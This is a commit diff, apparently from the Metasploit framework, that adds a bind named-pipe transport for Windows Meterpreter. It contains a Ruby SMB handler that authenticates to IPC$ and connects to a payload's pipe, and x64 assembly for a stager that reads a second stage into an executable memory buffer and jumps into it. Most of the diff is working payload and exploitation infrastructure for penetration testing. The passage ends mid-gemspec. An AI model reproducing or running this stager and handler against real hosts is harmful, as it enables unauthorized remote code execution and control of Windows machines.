Land #9539, add bind_named_pipe transport to Windows meterpreter
commit
25d2b551d8
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.28)
|
||||
metasploit-payloads (= 1.3.29)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.7)
|
||||
mqtt
|
||||
|
@ -179,7 +179,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.28)
|
||||
metasploit-payloads (1.3.29)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
|
|
@ -0,0 +1,358 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
require 'msf/core/post_mixin'
|
||||
require 'rex/proto/smb/simpleclient'
|
||||
|
||||
#
|
||||
# KNOWN ISSUES
|
||||
#
|
||||
# 1) Interactive channels (ie shell) do not work well/at all. Neither do pivots. Issue
|
||||
# seems to be multiple threads writing to the pipe or some writes not being synchronized
|
||||
# and bypassing the OpenPipeSock methods.
|
||||
# 2) A peek named pipe operation is carried out before every read to prevent blocking. This
|
||||
# generates extra traffic.
|
||||
#
|
||||
|
||||
#
|
||||
# Socket interface for named pipes. Because of the way named pipes work, reads and writes
|
||||
# each require both a sock.send (read/write request) and a sock.recv (read/write response).
|
||||
# So, pipe.read and pipe.write need to be synchronized so the responses arent mixed up.
|
||||
#
|
||||
# The packet dispatcher calls select on the socket to check for packets to read. This is
|
||||
# an issue when there are multiple writes since it will cause select to return which
|
||||
# triggers a read, but there is nothing to read since the pipe will already have read
|
||||
# the response. This read will then hold the mutex while the socket read waits to timeout.
|
||||
#
|
||||
class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe
|
||||
attr_accessor :mutex, :chunk_size, :last_comm, :write_queue, :write_thread, :read_buff
|
||||
|
||||
def initialize(*args)
|
||||
super(*args)
|
||||
self.client = args[0]
|
||||
self.mutex = Mutex.new # synchronize read/writes
|
||||
self.last_comm = Time.now # last successfull read/write
|
||||
self.write_queue = Queue.new # queue message to send
|
||||
self.write_thread = Thread.new { dispatcher }
|
||||
self.read_buff = ''
|
||||
end
|
||||
|
||||
# Check if there are any bytes to read and return number available.
|
||||
# Access must be synchronized.
|
||||
def peek_named_pipe
|
||||
# 0x23 is the PeekNamedPipe operation. Last 16 bits is our pipes file id (FID).
|
||||
setup = [0x23, self.file_id].pack('vv')
|
||||
# Must ignore errors since we expect STATUS_BUFFER_OVERFLOW
|
||||
pkt = self.client.trans_maxzero('\\PIPE\\', '', '', 2, setup, false, true, true)
|
||||
avail = 0
|
||||
begin
|
||||
avail = pkt.to_s[pkt['Payload'].v['ParamOffset']+4, 2].unpack('v')[0]
|
||||
rescue
|
||||
end
|
||||
avail
|
||||
end
|
||||
|
||||
# Runs as a thread and synchronizes writes. Allows write operations to return
|
||||
# immediately instead of waiting for the mutex.
|
||||
def dispatcher
|
||||
while true
|
||||
data = self.write_queue.pop
|
||||
self.mutex.synchronize do
|
||||
sent = 0
|
||||
while sent < data.length
|
||||
count = [self.chunk_size, data.length-sent].min
|
||||
buf = data[sent, count]
|
||||
Rex::Proto::SMB::SimpleClient::OpenPipe.instance_method(:write).bind(self).call(buf)
|
||||
self.last_comm = Time.now
|
||||
sent += count
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Intercepts the socket.close from the session manager when the session dies.
|
||||
# Cleanly terminates the SMB session and closes the socket.
|
||||
def close
|
||||
# Give the meterpreter shutdown command a chance
|
||||
self.write_queue.close
|
||||
while self.write_queue.size > 0
|
||||
sleep(0.1)
|
||||
end
|
||||
self.write_thread.kill
|
||||
|
||||
begin
|
||||
# close pipe
|
||||
super
|
||||
rescue => e
|
||||
end
|
||||
self.client.socket.close
|
||||
end
|
||||
|
||||
def read(count)
|
||||
data = ''
|
||||
begin
|
||||
self.mutex.synchronize do
|
||||
avail = peek_named_pipe
|
||||
if avail > 0
|
||||
while count > 0
|
||||
buff = super([count, self.chunk_size].min)
|
||||
self.last_comm = Time.now
|
||||
count -= buff.length
|
||||
data += buff
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
end
|
||||
|
||||
if data.length == 0
|
||||
# avoid full throttle polling
|
||||
Rex::ThreadSafe.sleep(0.1)
|
||||
end
|
||||
return data
|
||||
end
|
||||
|
||||
def put (data)
|
||||
write(data)
|
||||
end
|
||||
|
||||
def write (data)
|
||||
self.write_queue.push(data)
|
||||
data.length
|
||||
end
|
||||
|
||||
#
|
||||
# The session manager expects a socket object so we must implement
|
||||
# fd, localinfo, and peerinfo. fd is passed to select while localinfo
|
||||
# and peerinfo are used to report the addresses and ports of the
|
||||
# connection.
|
||||
#
|
||||
def fd
|
||||
self.client.socket.fd
|
||||
end
|
||||
|
||||
def localinfo
|
||||
self.client.socket.localinfo
|
||||
end
|
||||
|
||||
def peerinfo
|
||||
self.client.socket.peerinfo
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# SimpleClient for named pipe comms. Uses OpenPipe wrapper to provide
|
||||
# a socket interface required by the packet dispatcher.
|
||||
#
|
||||
class SimpleClientPipe < Rex::Proto::SMB::SimpleClient
|
||||
attr_accessor :pipe
|
||||
|
||||
def initialize(*args)
|
||||
super(*args)
|
||||
self.pipe = nil
|
||||
end
|
||||
|
||||
# Copy of SimpleClient.create_pipe except OpenPipeSock is used instead of OpenPipe.
|
||||
# This is because we need to implement our own read/write.
|
||||
def create_pipe(path)
|
||||
pkt = self.client.create_pipe(path, Rex::Proto::SMB::Constants::CREATE_ACCESS_EXIST)
|
||||
file_id = pkt['Payload'].v['FileID']
|
||||
self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id)
|
||||
end
|
||||
end
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
module BindNamedPipe
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_named_pipe'.
|
||||
#
|
||||
def self.handler_type
|
||||
"bind_named_pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"bind"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse handler and ads the options that are required
|
||||
# for reverse named pipe payloads.
|
||||
#
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PIPENAME', [true, 'Name of the pipe to connect to', 'msf-pipe']),
|
||||
OptString.new('RHOST', [false, 'Host of the pipe to connect to', '']),
|
||||
OptPort.new('LPORT', [true, 'SMB port', 445]),
|
||||
OptString.new('SMBUser', [false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [false, 'The Windows domain to use for authentication', '.']),
|
||||
], Msf::Handler::BindNamedPipe)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SMBDirect', [true, 'The target port is a raw SMB service (not NetBIOS)', true]),
|
||||
OptInt.new('CHUNKSIZE', [false, 'Max pipe read/write size per request', 4096]) # > 4096 is unreliable
|
||||
], Msf::Handler::BindNamedPipe)
|
||||
|
||||
self.conn_threads = []
|
||||
self.listener_threads = []
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
#
|
||||
# @return [String]
|
||||
def human_name
|
||||
"bind named pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
# Maximum number of seconds to run the handler
|
||||
ctimeout = 150
|
||||
|
||||
if (exploit_config and exploit_config['active_timeout'])
|
||||
ctimeout = exploit_config['active_timeout'].to_i
|
||||
end
|
||||
|
||||
# Take a copy of the datastore options
|
||||
rhost = datastore['RHOST']
|
||||
lport = datastore['LPORT'].to_i
|
||||
pipe_name = datastore['PIPENAME']
|
||||
smbuser = datastore['SMBUser']
|
||||
smbpass = datastore['SMBPass']
|
||||
smbdomain = datastore['SMBDomain']
|
||||
smbdirect = datastore['SMBDirect']
|
||||
smbshare = "\\\\#{rhost}\\IPC$"
|
||||
chunk_size = datastore['CHUNKSIZE']
|
||||
|
||||
# Ignore this if one of the required options is missing
|
||||
return if not rhost
|
||||
return if not lport
|
||||
|
||||
# Start a new handling thread
|
||||
self.listener_threads << framework.threads.spawn("BindNamedPipeHandlerListener-#{pipe_name}", false) {
|
||||
sock = nil
|
||||
print_status("Started bind pipe handler")
|
||||
|
||||
# First, create a socket and connect to the SMB service
|
||||
vprint_status("Connecting to #{rhost}:#{lport}")
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => lport.to_i,
|
||||
'Proxies' => datastore['Proxies'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
rescue ::Exception
|
||||
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
if not sock
|
||||
print_error("Failed to connect socket #{rhost}:#{lport}")
|
||||
return
|
||||
end
|
||||
|
||||
# Perform SMB logon
|
||||
simple = SimpleClientPipe.new(sock, smbdirect)
|
||||
|
||||
begin
|
||||
simple.login('*SMBSERVER', smbuser, smbpass, smbdomain)
|
||||
vprint_status("SMB login Success #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}")
|
||||
rescue
|
||||
print_error("SMB login Failure #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}")
|
||||
return
|
||||
end
|
||||
|
||||
# Connect to the IPC$ share so we can use named pipes.
|
||||
simple.connect(smbshare)
|
||||
vprint_status("Connected to #{smbshare}")
|
||||
|
||||
# Make several attempts to connect to the stagers named pipe. Authenticating and
|
||||
# connecting to IPC$ should be possible pre stager so we only retry this operation.
|
||||
# The stager creates the pipe with a default ACL which provides r/w to the creator
|
||||
# and administrators.
|
||||
stime = Time.now.to_i
|
||||
while (stime + ctimeout > Time.now.to_i)
|
||||
begin
|
||||
pipe = simple.create_pipe("\\"+pipe_name)
|
||||
rescue
|
||||
Rex::ThreadSafe.sleep(1.0)
|
||||
end
|
||||
break if pipe
|
||||
end
|
||||
|
||||
if not pipe
|
||||
print_error("Failed to connect to pipe #{smbshare}")
|
||||
return
|
||||
end
|
||||
|
||||
pipe.chunk_size = chunk_size
|
||||
vprint_status("Opened pipe \\#{pipe_name}")
|
||||
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
conn_threads << framework.threads.spawn("BindNamedPipeHandlerSession", false, simple) { |simple_copy|
|
||||
begin
|
||||
session = handle_connection(simple_copy.pipe, opts)
|
||||
rescue => e
|
||||
elog("Exception raised from BindNamedPipe.handle_connection: #{$!}")
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Stop
|
||||
#
|
||||
def stop_handler
|
||||
self.listener_threads.each do |t|
|
||||
t.kill
|
||||
end
|
||||
self.listener_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup
|
||||
#
|
||||
def cleanup_handler
|
||||
self.conn_threads.each { |t|
|
||||
t.kill
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :conn_threads
|
||||
attr_accessor :listener_threads
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -104,6 +104,17 @@ module Msf::Payload::TransportConfig
|
|||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
def transport_config_bind_named_pipe(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: 'pipe',
|
||||
lhost: '.',
|
||||
uri: "/#{ds['PIPENAME']}",
|
||||
}.merge(timeout_config(opts))
|
||||
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def get_custom_headers(ds)
|
||||
|
|
|
@ -0,0 +1,361 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/send_uuid'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# bind_named_pipe payload generation for Windows ARCH_X86_64
|
||||
#
|
||||
###
|
||||
module Payload::Windows::BindNamedPipe_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID_x64
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
#
|
||||
# Register bind_named_pipe specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(Msf::Opt::stager_retry_options)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
name: datastore['PIPENAME'],
|
||||
host: datastore['PIPEHOST'],
|
||||
retry_count: datastore['StagerRetryCount'],
|
||||
retry_wait: datastore['StagerRetryWait'],
|
||||
reliable: false,
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:reliable] = true
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
end
|
||||
|
||||
generate_bind_named_pipe(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_named_pipe(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; block API pointer
|
||||
#{asm_bind_named_pipe(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_named_pipe(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Reliability adds bytes! +81 if exitfunk, otherwise +119
|
||||
#space += 81
|
||||
space += 119
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
def uuid_required_size
|
||||
# TODO update this
|
||||
space = 0
|
||||
|
||||
# UUID size
|
||||
space += 16
|
||||
end
|
||||
|
||||
#
|
||||
# hPipe must be in rdi. rax will contain WriteFile return value
|
||||
#
|
||||
def asm_send_uuid(uuid=nil)
|
||||
uuid ||= generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw
|
||||
|
||||
asm << %Q^
|
||||
send_uuid:
|
||||
mov rcx, rdi ; hPipe
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)}
|
||||
get_uuid_address:
|
||||
pop rdx ; lpBuffer
|
||||
push #{uuid_raw.length}
|
||||
pop r8 ; nNumberOfBytesToWrite
|
||||
sub rsp, 16 ; allocate + alignment
|
||||
mov r9, rsp ; lpNumberOfBytesWritten
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}
|
||||
call rbp
|
||||
add rsp, 16
|
||||
^
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
# @option opts [String] :name Pipe name to create
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
def asm_bind_named_pipe(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
retry_wait = [opts[:retry_wait].to_i, 1].max * 1000 # kernel32!Sleep takes millisecs
|
||||
full_pipe_name = "\\\\\\\\.\\\\pipe\\\\#{opts[:name]}" # double escape -> \\.\pipe\name
|
||||
chunk_size = 0x10000 # pipe buffer size
|
||||
cleanup_funk = reliable ? 'cleanup_file' : 'failure'
|
||||
pipe_mode = 1 # (PIPE_TYPE_BYTE|PIPE_NOWAIT|PIPE_READMODE_BYTE)
|
||||
|
||||
asm = %Q^
|
||||
create_named_pipe:
|
||||
call get_pipe_name
|
||||
db "#{full_pipe_name}", 0x00
|
||||
get_pipe_name:
|
||||
pop rcx ; lpName
|
||||
mov rdx, 3 ; dwOpenMode (PIPE_ACCESS_DUPLEX)
|
||||
mov r8, #{pipe_mode} ; dwPipeMode
|
||||
mov r9, 255 ; nMaxInstances (PIPE_UNLIMITED_INSTANCES). in case pipe isn't released
|
||||
push 0 ; lpSecurityAttributes. Default r/w for creator and administrators
|
||||
push 0 ; nDefaultTimeOut
|
||||
push #{chunk_size} ; nInBufferSize
|
||||
push #{chunk_size} ; nOutBufferSize
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
|
||||
call rbp ; CreateNamedPipeA
|
||||
mov rdi, rax ; save hPipe (using sockrdi convention)
|
||||
|
||||
; check for failure
|
||||
cmp rax, -1 ; did it work? (INVALID_HANDLE_VALUE)
|
||||
jz failure
|
||||
|
||||
; initialize retry counter
|
||||
push #{retry_count} ; retry counter
|
||||
pop r14
|
||||
|
||||
; Connect pipe to remote
|
||||
connect_pipe:
|
||||
mov rcx, rdi ; hPipe
|
||||
xor rdx, rdx ; lpOverlapped
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
|
||||
call rbp ; ConnectNamedPipe
|
||||
|
||||
; check for failure
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')}
|
||||
call rbp ; GetLastError
|
||||
cmp rax, 0x217 ; looking for ERROR_PIPE_CONNECTED
|
||||
jz get_stage_size ; success
|
||||
dec r14
|
||||
jz #{cleanup_funk} ; out of retries
|
||||
|
||||
; wait before trying again
|
||||
mov rcx, #{retry_wait}
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep
|
||||
jmp connect_pipe
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << 'get_stage_size:'
|
||||
|
||||
# For reliability, set pipe state to wait so ReadFile blocks
|
||||
if reliable
|
||||
asm << %Q^
|
||||
mov rcx, rdi ; hPipe
|
||||
push 0 ; alignment
|
||||
push 0
|
||||
mov rdx, rsp ; lpMode (PIPE_WAIT)
|
||||
xor r8, r8 ; lpMaxCollectionCount
|
||||
xor r9, r9 ; lpCollectDataTimeout
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; read size of second stage
|
||||
mov rcx, rdi ; hPipe
|
||||
push 0 ;
|
||||
mov rdx, rsp ; lpBuffer
|
||||
mov r8, 4 ; nNumberOfBytesToRead
|
||||
push 0
|
||||
mov r9, rsp ; lpNumberOfBytesRead
|
||||
push 0 ; alignment
|
||||
push 0 ; lpOverlapped
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call rbp ; ReadFile
|
||||
add rsp, 0x30 ; adjust stack
|
||||
pop rsi ; lpNumberOfBytesRead
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; check for bytesRead == 4
|
||||
cmp rsi, 4 ; expecting 4 bytes
|
||||
jnz cleanup_file
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
get_second_stage:
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
test rax, rax ; VirtualAlloc returning 0 is an error
|
||||
jz cleanup_file
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
mov rbx, rax ; rbx = stage 2 address
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
|
||||
read_more:
|
||||
; prepare the size min(0x10000, esi)
|
||||
mov r8, #{chunk_size}
|
||||
cmp r8, rsi
|
||||
jle read_max ; read chunk_size
|
||||
mov r8, rsi
|
||||
read_max:
|
||||
|
||||
push 0 ; buffer for lpNumberOfBytesRead
|
||||
mov r9, rsp ; lpNumberOfBytesRead
|
||||
mov rdx, rbx ; lpBuffer
|
||||
push 0 ; lpOverlapped
|
||||
mov rcx, rdi ; hPipe
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call rbp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
|
||||
add rsp, 0x28 ; slight stack adjustment
|
||||
pop rdx ; lpNumberOfBytesRead
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; check to see if the read worked
|
||||
test rax, rax
|
||||
jnz read_successful
|
||||
|
||||
; something failed so free up memory
|
||||
push r15
|
||||
pop rcx ; lpAddress
|
||||
push 0x4000 ; MEM_DECOMMIT
|
||||
pop r8 ; dwFreeType
|
||||
push 0 ; 0 to decommit whole block
|
||||
pop rdx ; dwSize
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||
|
||||
cleanup_file:
|
||||
; clean up the pipe handle
|
||||
push rdi ; file handle
|
||||
pop rcx ; hFile
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
|
||||
call rbp ; CloseHandle(hPipe)
|
||||
|
||||
jmp failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add rbx, rdx ; buffer += bytes_received
|
||||
sub rsi, rdx ; length -= bytes_received
|
||||
test rsi, rsi ; check for 0 bytes left
|
||||
jnz read_more ; continue if we have more to read
|
||||
|
||||
jmp r15 ; jump into the second stage
|
||||
^
|
||||
|
||||
asm << 'failure:'
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
|
||||
call exitfunk
|
||||
^
|
||||
asm << asm_exitfunk(opts)
|
||||
elsif reliable
|
||||
asm << %Q^
|
||||
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
|
||||
call get_kernel32_name
|
||||
db "kernel32", 0x00
|
||||
get_kernel32_name:
|
||||
pop rcx ;
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')}
|
||||
call rbp ; GetModuleHandleA("kernel32")
|
||||
|
||||
call get_exit_name
|
||||
db "ExitThread", 0x00
|
||||
get_exit_name:
|
||||
mov rcx, rax ; hModule
|
||||
pop rdx ; lpProcName
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
|
||||
call rbp ; GetProcAddress(hModule, "ExitThread")
|
||||
xor rcx, rcx ; dwExitCode
|
||||
call rax ; ExitProcess(0)
|
||||
^
|
||||
else
|
||||
# run off the end
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -113,7 +113,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
# Send a SMB packet down the socket
|
||||
def smb_send(data, evasion_level=0)
|
||||
|
||||
# evasion_level is ignored, since real evasion happens
|
||||
# in the actual socket layer
|
||||
|
||||
|
@ -253,6 +252,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
when CONST::SMB_COM_DELETE
|
||||
res = smb_parse_delete(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_ECHO
|
||||
res = smb_parse_echo(pkt, data)
|
||||
|
||||
else
|
||||
raise XCEPT::InvalidCommand
|
||||
end
|
||||
|
@ -491,6 +493,19 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
raise XCEPT::InvalidWordCount
|
||||
end
|
||||
|
||||
# Process incoming SMB_COM_ECHO packets
|
||||
def smb_parse_echo(pkt, data)
|
||||
|
||||
# Process SMB error responses
|
||||
if (pkt['Payload']['SMB'].v['WordCount'] == 1)
|
||||
res = CONST::SMB_ECHO_RES_PKT.make_struct
|
||||
res.from_s(data)
|
||||
return res
|
||||
end
|
||||
|
||||
raise XCEPT::InvalidWordCount
|
||||
end
|
||||
|
||||
# Request a SMB session over NetBIOS
|
||||
def session_request(name = '*SMBSERVER', do_recv = true)
|
||||
|
||||
|
@ -1480,7 +1495,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Perform a transaction against a given pipe name
|
||||
# Difference from trans: sets MaxParam/MaxData to zero
|
||||
# This is required to trigger mailslot bug :-(
|
||||
def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true)
|
||||
def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true, ignore_errors = false)
|
||||
|
||||
# Null-terminate the pipe parameter if needed
|
||||
if (pipe[-1] != 0)
|
||||
|
@ -1550,7 +1565,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if no_response or not do_recv
|
||||
|
||||
self.smb_recv_parse(CONST::SMB_COM_TRANSACTION)
|
||||
self.smb_recv_parse(CONST::SMB_COM_TRANSACTION, ignore_errors)
|
||||
end
|
||||
|
||||
|
||||
|
@ -2038,6 +2053,31 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
resp
|
||||
end
|
||||
|
||||
|
||||
# Send SMB echo request
|
||||
def echo(do_recv = true)
|
||||
|
||||
pkt = CONST::SMB_ECHO_RES_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_ECHO
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 18
|
||||
if self.require_signing
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['TreeID'] = self.last_tree_id || 0xffff
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 1
|
||||
pkt['Payload'].v['EchoCount'] = 1
|
||||
|
||||
ret = self.smb_send(pkt.to_s)
|
||||
return ret if not do_recv
|
||||
return self.smb_recv_parse(CONST::SMB_COM_ECHO)
|
||||
end
|
||||
|
||||
|
||||
# public read/write methods
|
||||
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
|
||||
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
||||
|
|
|
@ -1398,6 +1398,17 @@ class Constants
|
|||
[ 'Payload', 'ByteCount', nil, true ]
|
||||
)
|
||||
|
||||
# A template for SMB echo request/reply
|
||||
SMB_ECHO_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
||||
['template', 'SMB', SMB_HDR],
|
||||
['uint16v', 'EchoCount', 0],
|
||||
['uint16v', 'ByteCount', 0],
|
||||
['string', 'Payload', nil, '' ]
|
||||
).create_restraints(
|
||||
[ 'Payload', 'ByteCount', nil, true ]
|
||||
)
|
||||
SMB_ECHO_RES_PKT = self.make_nbs(SMB_ECHO_RES_HDR_PKT)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
